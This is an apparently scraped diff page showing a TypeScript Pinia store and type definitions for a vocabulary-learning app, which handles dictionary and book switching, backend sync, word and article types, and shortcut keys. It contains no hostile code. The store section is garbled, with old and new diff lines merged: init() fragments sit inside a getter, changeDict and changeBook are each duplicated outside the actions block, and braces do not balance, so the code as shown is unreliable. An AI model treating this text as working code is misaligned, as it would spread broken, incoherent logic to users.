return this.known.words.map((v: Word) => v.word.toLowerCase())
|
||||
},
|
||||
allIgnoreWords() {
|
||||
return this.known.words.map((v: Word) => v.word.toLowerCase()).concat(this.simpleWords.map((v: string) => v.toLowerCase()))
|
||||
},
|
||||
sdict(): Dict {
|
||||
if (this.word.studyIndex >= 0) {
|
||||
return this.word.bookList[this.word.studyIndex] ?? getDefaultDict()
|
||||
}
|
||||
}
|
||||
console.log('data', data)
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let res = await myDictList()
|
||||
if (res.success) {
|
||||
Object.assign(data, res.data)
|
||||
return getDefaultDict()
|
||||
},
|
||||
currentStudyProgress(): number {
|
||||
if (!this.sdict.length) return 0
|
||||
return _getStudyProgress(this.sdict.lastLearnIndex, this.sdict.length)
|
||||
},
|
||||
getDictCompleteDate(): number {
|
||||
if (!this.sdict.length) return 0
|
||||
if (!this.sdict.perDayStudyNumber) return 0
|
||||
return Math.ceil((this.sdict.length - this.sdict.lastLearnIndex) / this.sdict.perDayStudyNumber)
|
||||
},
|
||||
sbook(): Dict {
|
||||
return this.article.bookList[this.article.studyIndex] ?? {}
|
||||
},
|
||||
currentBookProgress(): number {
|
||||
if (!this.sbook.length) return 0
|
||||
if (this.sbook.complete) return 100
|
||||
return _getStudyProgress(this.sbook.lastLearnIndex, this.sbook.length)
|
||||
},
|
||||
},
|
||||
actions: {
|
||||
setState(obj: BaseState) {
|
||||
obj.word.bookList.map(book => {
|
||||
book.words = shallowReactive(book.words)
|
||||
book.articles = shallowReactive(book.articles)
|
||||
book.statistics = shallowReactive(book.statistics)
|
||||
})
|
||||
obj.article.bookList.map(book => {
|
||||
book.words = shallowReactive(book.words)
|
||||
book.articles = shallowReactive(book.articles)
|
||||
book.statistics = shallowReactive(book.statistics)
|
||||
})
|
||||
this.$patch(obj)
|
||||
},
|
||||
async init() {
|
||||
return new Promise(async resolve => {
|
||||
try {
|
||||
let configStr: string = await get(SAVE_DICT_KEY.key)
|
||||
let data = checkAndUpgradeSaveDict(configStr)
|
||||
if (AppEnv.IS_OFFICIAL) {
|
||||
let r = await dictListVersion()
|
||||
if (r.success) {
|
||||
data.dictListVersion = r.data
|
||||
}
|
||||
}
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let res = await myDictList()
|
||||
if (res.success) {
|
||||
//只保留未同步的
|
||||
data.word.bookList = data.word.bookList.filter(v => !v.sync)
|
||||
data.article.bookList = data.article.bookList.filter(v => !v.sync)
|
||||
//这里看看是否要 shallowReactive
|
||||
Object.assign(data, res.data)
|
||||
}
|
||||
}
|
||||
console.log('data', data)
|
||||
this.setState(data)
|
||||
set(SAVE_DICT_KEY.key, JSON.stringify({
|
||||
val: shakeCommonDict(this.$state),
|
||||
version: SAVE_DICT_KEY.version
|
||||
}))
|
||||
} catch (e) {
|
||||
console.error('读取本地dict数据失败', e)
|
||||
}
|
||||
resolve(true)
|
||||
})
|
||||
},
|
||||
//改变词典
|
||||
async changeDict(val: Dict) {
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let r = await add2MyDict({
|
||||
id: val.id,
|
||||
perDayStudyNumber: val.perDayStudyNumber,
|
||||
lastLearnIndex: val.lastLearnIndex,
|
||||
complete: val.complete,
|
||||
})
|
||||
if (!r.success) return Toast.error(r.msg)
|
||||
else val.userDictId = r.data
|
||||
}
|
||||
}
|
||||
this.setState(data)
|
||||
set(SAVE_DICT_KEY.key, JSON.stringify({ val: shakeCommonDict(this.$state), version: SAVE_DICT_KEY.version }))
|
||||
} catch (e) {
|
||||
console.error('读取本地dict数据失败', e)
|
||||
}
|
||||
resolve(true)
|
||||
})
|
||||
//把其他的词典的单词数据都删掉,全保存在内存里太卡了
|
||||
this.word.bookList.slice(3).map(v => {
|
||||
if (!v.custom) {
|
||||
v.words = shallowReactive([])
|
||||
}
|
||||
})
|
||||
let rIndex = this.word.bookList.findIndex((v: Dict) => v.id === val.id)
|
||||
if (val.words.length < val.perDayStudyNumber) {
|
||||
val.perDayStudyNumber = val.words.length
|
||||
}
|
||||
if (rIndex > -1) {
|
||||
this.word.studyIndex = rIndex
|
||||
this.word.bookList[this.word.studyIndex].words = shallowReactive(val.words)
|
||||
this.word.bookList[this.word.studyIndex].perDayStudyNumber = val.perDayStudyNumber
|
||||
this.word.bookList[this.word.studyIndex].lastLearnIndex = val.lastLearnIndex
|
||||
this.word.bookList[this.word.studyIndex].userDictId = val.userDictId
|
||||
} else {
|
||||
this.word.bookList.push(getDefaultDict(val))
|
||||
this.word.studyIndex = this.word.bookList.length - 1
|
||||
}
|
||||
},
|
||||
//改变书籍
|
||||
async changeBook(val: Dict) {
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let r = await add2MyDict({
|
||||
id: val.id,
|
||||
perDayStudyNumber: val.perDayStudyNumber,
|
||||
lastLearnIndex: val.lastLearnIndex,
|
||||
complete: val.complete,
|
||||
})
|
||||
if (!r.success) {
|
||||
return Toast.error(r.msg)
|
||||
}
|
||||
}
|
||||
//把其他的书籍里面的文章数据都删掉,全保存在内存里太卡了
|
||||
this.article.bookList.slice(1).map(v => {
|
||||
if (!v.custom) {
|
||||
v.articles = shallowReactive([])
|
||||
}
|
||||
})
|
||||
let rIndex = this.article.bookList.findIndex((v: Dict) => v.id === val.id)
|
||||
if (rIndex > -1) {
|
||||
this.article.studyIndex = rIndex
|
||||
//不要整个等于,不然统计没了
|
||||
// this.article.bookList[this.article.studyIndex] = getDefaultDict(val)
|
||||
this.article.bookList[this.article.studyIndex].articles = shallowReactive(val.articles)
|
||||
this.article.bookList[this.article.studyIndex].cover = val.cover
|
||||
this.article.bookList[this.article.studyIndex].name = val.name
|
||||
this.article.bookList[this.article.studyIndex].description = val.description
|
||||
} else {
|
||||
this.article.bookList.push(getDefaultDict(val))
|
||||
this.article.studyIndex = this.article.bookList.length - 1
|
||||
}
|
||||
},
|
||||
},
|
||||
//改变词典
|
||||
async changeDict(val: Dict) {
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let r = await add2MyDict(val)
|
||||
if (!r.success) {
|
||||
return Toast.error(r.msg)
|
||||
}
|
||||
}
|
||||
//把其他的词典的单词数据都删掉,全保存在内存里太卡了
|
||||
this.word.bookList.slice(3).map(v => {
|
||||
if (!v.custom) {
|
||||
v.words = shallowReactive([])
|
||||
}
|
||||
})
|
||||
let rIndex = this.word.bookList.findIndex((v: Dict) => v.id === val.id)
|
||||
if (val.words.length < val.perDayStudyNumber) {
|
||||
val.perDayStudyNumber = val.words.length
|
||||
}
|
||||
if (rIndex > -1) {
|
||||
this.word.studyIndex = rIndex
|
||||
this.word.bookList[this.word.studyIndex].words = shallowReactive(val.words)
|
||||
this.word.bookList[this.word.studyIndex].perDayStudyNumber = val.perDayStudyNumber
|
||||
this.word.bookList[this.word.studyIndex].lastLearnIndex = val.lastLearnIndex
|
||||
} else {
|
||||
this.word.bookList.push(getDefaultDict(val))
|
||||
this.word.studyIndex = this.word.bookList.length - 1
|
||||
}
|
||||
},
|
||||
//改变书籍
|
||||
async changeBook(val: Dict) {
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let r = await add2MyDict(val)
|
||||
if (!r.success) {
|
||||
return Toast.error(r.msg)
|
||||
}
|
||||
}
|
||||
//把其他的书籍里面的文章数据都删掉,全保存在内存里太卡了
|
||||
this.article.bookList.slice(1).map(v => {
|
||||
if (!v.custom) {
|
||||
v.articles = shallowReactive([])
|
||||
}
|
||||
})
|
||||
let rIndex = this.article.bookList.findIndex((v: Dict) => v.id === val.id)
|
||||
if (rIndex > -1) {
|
||||
this.article.studyIndex = rIndex
|
||||
//不要整个等于,不然统计没了
|
||||
// this.article.bookList[this.article.studyIndex] = getDefaultDict(val)
|
||||
this.article.bookList[this.article.studyIndex].articles = shallowReactive(val.articles)
|
||||
this.article.bookList[this.article.studyIndex].cover = val.cover
|
||||
this.article.bookList[this.article.studyIndex].name = val.name
|
||||
this.article.bookList[this.article.studyIndex].description = val.description
|
||||
} else {
|
||||
this.article.bookList.push(getDefaultDict(val))
|
||||
this.article.studyIndex = this.article.bookList.length - 1
|
||||
}
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
@@ -1,40 +1,40 @@
|
||||
export type Word = {
|
||||
id?: string,
|
||||
custom?: boolean,
|
||||
word: string,
|
||||
phonetic0: string,
|
||||
phonetic1: string,
|
||||
trans: {
|
||||
pos: string,
|
||||
cn: string,
|
||||
}[],
|
||||
sentences: {
|
||||
c: string,//content
|
||||
cn: string,
|
||||
}[],
|
||||
phrases: {
|
||||
c: string,
|
||||
cn: string,
|
||||
}[],
|
||||
synos: {
|
||||
pos: string,
|
||||
cn: string,
|
||||
ws: string[]
|
||||
}[],
|
||||
relWords: {
|
||||
root: string,
|
||||
rels: {
|
||||
pos: string,
|
||||
words: {
|
||||
id?: string,
|
||||
custom?: boolean,
|
||||
word: string,
|
||||
phonetic0: string,
|
||||
phonetic1: string,
|
||||
trans: {
|
||||
pos: string,
|
||||
cn: string,
|
||||
}[],
|
||||
sentences: {
|
||||
c: string,//content
|
||||
cn: string,
|
||||
}[],
|
||||
phrases: {
|
||||
c: string,
|
||||
cn: string,
|
||||
}[],
|
||||
}[]
|
||||
},
|
||||
etymology: {
|
||||
t: string,//title
|
||||
d: string,//desc
|
||||
}[],
|
||||
}[],
|
||||
synos: {
|
||||
pos: string,
|
||||
cn: string,
|
||||
ws: string[]
|
||||
}[],
|
||||
relWords: {
|
||||
root: string,
|
||||
rels: {
|
||||
pos: string,
|
||||
words: {
|
||||
c: string,
|
||||
cn: string,
|
||||
}[],
|
||||
}[]
|
||||
},
|
||||
etymology: {
|
||||
t: string,//title
|
||||
d: string,//desc
|
||||
}[],
|
||||
}
|
||||
|
||||
export const PronunciationApi = 'https://dict.youdao.com/dictvoice?audio='
|
||||
@@ -43,209 +43,210 @@ export type TranslateLanguageType = 'en' | 'zh-CN' | 'ja' | 'de' | 'common' | ''
|
||||
export type LanguageType = 'en' | 'ja' | 'de' | 'code'
|
||||
|
||||
export enum DictType {
|
||||
collect = 'collect',
|
||||
simple = 'simple',
|
||||
wrong = 'wrong',
|
||||
known = 'known',
|
||||
word = 'word',
|
||||
article = 'article',
|
||||
collect = 'collect',
|
||||
simple = 'simple',
|
||||
wrong = 'wrong',
|
||||
known = 'known',
|
||||
word = 'word',
|
||||
article = 'article',
|
||||
}
|
||||
|
||||
export interface ArticleWord extends Word {
|
||||
nextSpace: boolean,
|
||||
symbolPosition: 'start' | 'end' | '',
|
||||
input: string
|
||||
type: PracticeArticleWordType
|
||||
nextSpace: boolean,
|
||||
symbolPosition: 'start' | 'end' | '',
|
||||
input: string
|
||||
type: PracticeArticleWordType
|
||||
}
|
||||
|
||||
export interface Sentence {
|
||||
text: string,
|
||||
translate: string,
|
||||
words: ArticleWord[],
|
||||
audioPosition: number[]
|
||||
text: string,
|
||||
translate: string,
|
||||
words: ArticleWord[],
|
||||
audioPosition: number[]
|
||||
}
|
||||
|
||||
export interface Article {
|
||||
id?: number,
|
||||
title: string,
|
||||
titleTranslate: string,
|
||||
text: string,
|
||||
textTranslate: string,
|
||||
newWords: Word[],
|
||||
sections: Sentence[][],
|
||||
audioSrc: string,
|
||||
audioFileId: string,
|
||||
lrcPosition: number[][],
|
||||
nameList: string[],
|
||||
questions: {
|
||||
stem: string,
|
||||
options: string[],
|
||||
correctAnswer: string[],
|
||||
explanation: string
|
||||
}[]
|
||||
id?: number,
|
||||
title: string,
|
||||
titleTranslate: string,
|
||||
text: string,
|
||||
textTranslate: string,
|
||||
newWords: Word[],
|
||||
sections: Sentence[][],
|
||||
audioSrc: string,
|
||||
audioFileId: string,
|
||||
lrcPosition: number[][],
|
||||
nameList: string[],
|
||||
questions: {
|
||||
stem: string,
|
||||
options: string[],
|
||||
correctAnswer: string[],
|
||||
explanation: string
|
||||
}[]
|
||||
}
|
||||
|
||||
export interface Statistics {
|
||||
startDate: number,//开始日期
|
||||
spend: number,//花费时间
|
||||
total: number//单词数量
|
||||
new: number//新学单词数量
|
||||
review: number//复习单词数量
|
||||
wrong: number//错误数
|
||||
startDate: number,//开始日期
|
||||
spend: number,//花费时间
|
||||
total: number//单词数量
|
||||
new: number//新学单词数量
|
||||
review: number//复习单词数量
|
||||
wrong: number//错误数
|
||||
}
|
||||
|
||||
export enum Sort {
|
||||
normal = 0,
|
||||
random = 1,
|
||||
reverse = 2
|
||||
normal = 0,
|
||||
random = 1,
|
||||
reverse = 2
|
||||
}
|
||||
|
||||
export enum ShortcutKey {
|
||||
ShowWord = 'ShowWord',
|
||||
EditArticle = 'EditArticle',
|
||||
Next = 'Next',
|
||||
Previous = 'Previous',
|
||||
ToggleSimple = 'ToggleSimple',
|
||||
ToggleCollect = 'ToggleCollect',
|
||||
NextChapter = 'NextChapter',
|
||||
PreviousChapter = 'PreviousChapter',
|
||||
RepeatChapter = 'RepeatChapter',
|
||||
DictationChapter = 'DictationChapter',
|
||||
PlayWordPronunciation = 'PlayWordPronunciation',
|
||||
ToggleShowTranslate = 'ToggleShowTranslate',
|
||||
ToggleDictation = 'ToggleDictation',
|
||||
ToggleTheme = 'ToggleTheme',
|
||||
ToggleConciseMode = 'ToggleConciseMode',
|
||||
TogglePanel = 'TogglePanel',
|
||||
RandomWrite = 'RandomWrite',
|
||||
NextRandomWrite = 'NextRandomWrite',
|
||||
KnowWord = 'KnowWord',
|
||||
UnknownWord = 'UnknownWord',
|
||||
ShowWord = 'ShowWord',
|
||||
EditArticle = 'EditArticle',
|
||||
Next = 'Next',
|
||||
Previous = 'Previous',
|
||||
ToggleSimple = 'ToggleSimple',
|
||||
ToggleCollect = 'ToggleCollect',
|
||||
NextChapter = 'NextChapter',
|
||||
PreviousChapter = 'PreviousChapter',
|
||||
RepeatChapter = 'RepeatChapter',
|
||||
DictationChapter = 'DictationChapter',
|
||||
PlayWordPronunciation = 'PlayWordPronunciation',
|
||||
ToggleShowTranslate = 'ToggleShowTranslate',
|
||||
ToggleDictation = 'ToggleDictation',
|
||||
ToggleTheme = 'ToggleTheme',
|
||||
ToggleConciseMode = 'ToggleConciseMode',
|
||||
TogglePanel = 'TogglePanel',
|
||||
RandomWrite = 'RandomWrite',
|
||||
NextRandomWrite = 'NextRandomWrite',
|
||||
KnowWord = 'KnowWord',
|
||||
UnknownWord = 'UnknownWord',
|
||||
}
|
||||
|
||||
export const DefaultShortcutKeyMap = {
|
||||
[ShortcutKey.EditArticle]: 'Ctrl+E',
|
||||
[ShortcutKey.ShowWord]: 'Escape',
|
||||
[ShortcutKey.Previous]: 'Alt+⬅',
|
||||
[ShortcutKey.Next]: 'Tab',
|
||||
[ShortcutKey.ToggleSimple]: '`',
|
||||
[ShortcutKey.ToggleCollect]: 'Enter',
|
||||
[ShortcutKey.PreviousChapter]: 'Ctrl+⬅',
|
||||
[ShortcutKey.NextChapter]: 'Ctrl+➡',
|
||||
[ShortcutKey.RepeatChapter]: 'Ctrl+Enter',
|
||||
[ShortcutKey.DictationChapter]: 'Alt+Enter',
|
||||
[ShortcutKey.PlayWordPronunciation]: 'Ctrl+P',
|
||||
[ShortcutKey.ToggleShowTranslate]: 'Ctrl+Z',
|
||||
[ShortcutKey.ToggleDictation]: 'Ctrl+I',
|
||||
[ShortcutKey.ToggleTheme]: 'Ctrl+Q',
|
||||
[ShortcutKey.ToggleConciseMode]: 'Ctrl+M',
|
||||
[ShortcutKey.TogglePanel]: 'Ctrl+L',
|
||||
[ShortcutKey.RandomWrite]: 'Ctrl+R',
|
||||
[ShortcutKey.NextRandomWrite]: 'Ctrl+Shift+R',
|
||||
[ShortcutKey.KnowWord]: '1',
|
||||
[ShortcutKey.UnknownWord]: '2',
|
||||
[ShortcutKey.EditArticle]: 'Ctrl+E',
|
||||
[ShortcutKey.ShowWord]: 'Escape',
|
||||
[ShortcutKey.Previous]: 'Alt+⬅',
|
||||
[ShortcutKey.Next]: 'Tab',
|
||||
[ShortcutKey.ToggleSimple]: '`',
|
||||
[ShortcutKey.ToggleCollect]: 'Enter',
|
||||
[ShortcutKey.PreviousChapter]: 'Ctrl+⬅',
|
||||
[ShortcutKey.NextChapter]: 'Ctrl+➡',
|
||||
[ShortcutKey.RepeatChapter]: 'Ctrl+Enter',
|
||||
[ShortcutKey.DictationChapter]: 'Alt+Enter',
|
||||
[ShortcutKey.PlayWordPronunciation]: 'Ctrl+P',
|
||||
[ShortcutKey.ToggleShowTranslate]: 'Ctrl+Z',
|
||||
[ShortcutKey.ToggleDictation]: 'Ctrl+I',
|
||||
[ShortcutKey.ToggleTheme]: 'Ctrl+Q',
|
||||
[ShortcutKey.ToggleConciseMode]: 'Ctrl+M',
|
||||
[ShortcutKey.TogglePanel]: 'Ctrl+L',
|
||||
[ShortcutKey.RandomWrite]: 'Ctrl+R',
|
||||
[ShortcutKey.NextRandomWrite]: 'Ctrl+Shift+R',
|
||||
[ShortcutKey.KnowWord]: '1',
|
||||
[ShortcutKey.UnknownWord]: '2',
|
||||
}
|
||||
|
||||
export enum TranslateEngine {
|
||||
Baidu = 0,
|
||||
Baidu = 0,
|
||||
}
|
||||
|
||||
export type DictResource = {
|
||||
id: string
|
||||
name: string
|
||||
description: string
|
||||
url: string
|
||||
length: number
|
||||
category: string
|
||||
tags: string[]
|
||||
translateLanguage: TranslateLanguageType
|
||||
//todo 可以考虑删除了
|
||||
type?: DictType
|
||||
version?: number
|
||||
language: LanguageType
|
||||
id: string
|
||||
name: string
|
||||
description: string
|
||||
url: string
|
||||
length: number
|
||||
category: string
|
||||
tags: string[]
|
||||
translateLanguage: TranslateLanguageType
|
||||
//todo 可以考虑删除了
|
||||
type?: DictType
|
||||
version?: number
|
||||
language: LanguageType
|
||||
}
|
||||
|
||||
export interface Dict extends DictResource {
|
||||
lastLearnIndex: number,
|
||||
perDayStudyNumber: number,
|
||||
words: Word[],
|
||||
articles: Article[],
|
||||
statistics: Statistics[],
|
||||
custom: boolean,//是否是自定义词典
|
||||
complete: boolean,//是否学习完成,学完了设为true,然后lastLearnIndex重置
|
||||
//后端字段
|
||||
en_name?: string
|
||||
createdBy?: string
|
||||
category_id?: number
|
||||
is_default?: boolean
|
||||
update?: boolean
|
||||
cover?: string
|
||||
sync?: boolean
|
||||
lastLearnIndex: number,
|
||||
perDayStudyNumber: number,
|
||||
words: Word[],
|
||||
articles: Article[],
|
||||
statistics: Statistics[],
|
||||
custom: boolean,//是否是自定义词典
|
||||
complete: boolean,//是否学习完成,学完了设为true,然后lastLearnIndex重置
|
||||
//后端字段
|
||||
en_name?: string
|
||||
createdBy?: string
|
||||
category_id?: number
|
||||
is_default?: boolean
|
||||
update?: boolean
|
||||
cover?: string
|
||||
sync?: boolean
|
||||
userDictId?: number
|
||||
}
|
||||
|
||||
export interface ArticleItem {
|
||||
item: Article,
|
||||
index: number
|
||||
item: Article,
|
||||
index: number
|
||||
}
|
||||
|
||||
export const SlideType = {
|
||||
HORIZONTAL: 0,
|
||||
VERTICAL: 1,
|
||||
HORIZONTAL: 0,
|
||||
VERTICAL: 1,
|
||||
}
|
||||
|
||||
export interface PracticeData {
|
||||
index: number,
|
||||
words: Word[],
|
||||
wrongWords: Word[],
|
||||
excludeWords: string[],
|
||||
index: number,
|
||||
words: Word[],
|
||||
wrongWords: Word[],
|
||||
excludeWords: string[],
|
||||
}
|
||||
|
||||
export interface TaskWords {
|
||||
new: Word[],
|
||||
review: Word[],
|
||||
write: Word[],
|
||||
shuffle: Word[],
|
||||
new: Word[],
|
||||
review: Word[],
|
||||
write: Word[],
|
||||
shuffle: Word[],
|
||||
}
|
||||
|
||||
export class DictId {
|
||||
static wordCollect = 'wordCollect'
|
||||
static wordWrong = 'wordWrong'
|
||||
static wordKnown = 'wordKnown'
|
||||
static articleCollect = 'articleCollect'
|
||||
static wordCollect = 'wordCollect'
|
||||
static wordWrong = 'wordWrong'
|
||||
static wordKnown = 'wordKnown'
|
||||
static articleCollect = 'articleCollect'
|
||||
}
|
||||
|
||||
export enum PracticeArticleWordType {
|
||||
Symbol,
|
||||
Number,
|
||||
Word
|
||||
Symbol,
|
||||
Number,
|
||||
Word
|
||||
}
|
||||
|
||||
//练习模式
|
||||
export enum WordPracticeMode {
|
||||
System = 0,
|
||||
Free = 1
|
||||
System = 0,
|
||||
Free = 1
|
||||
}
|
||||
|
||||
//练习类型
|
||||
export enum WordPracticeType {
|
||||
FollowWrite,//跟写
|
||||
Spell,
|
||||
Identify,
|
||||
Listen,
|
||||
Dictation
|
||||
FollowWrite,//跟写
|
||||
Spell,
|
||||
Identify,
|
||||
Listen,
|
||||
Dictation
|
||||
}
|
||||
|
||||
export enum CodeType {
|
||||
Login = 0,
|
||||
Register = 1,
|
||||
ResetPwd = 2,
|
||||
ChangeEmail = 3,
|
||||
ChangePhoneNew = 4,
|
||||
ChangePhoneOld = 5
|
||||
Login = 0,
|
||||
Register = 1,
|
||||
ResetPwd = 2,
|
||||
ChangeEmail = 3,
|
||||
ChangePhoneNew = 4,
|
||||
ChangePhoneOld = 5
|
||||
}
|
||||
|
||||
export enum ImportStatus {
|
||||
Idle = 0,
|
||||
Success = 1,
|
||||
Fail = 2
|
||||
Idle = 0,
|
||||
Success = 1,
|
||||
Fail = 2
|
||||
}
|
||||
Reference in New Issue
Block a user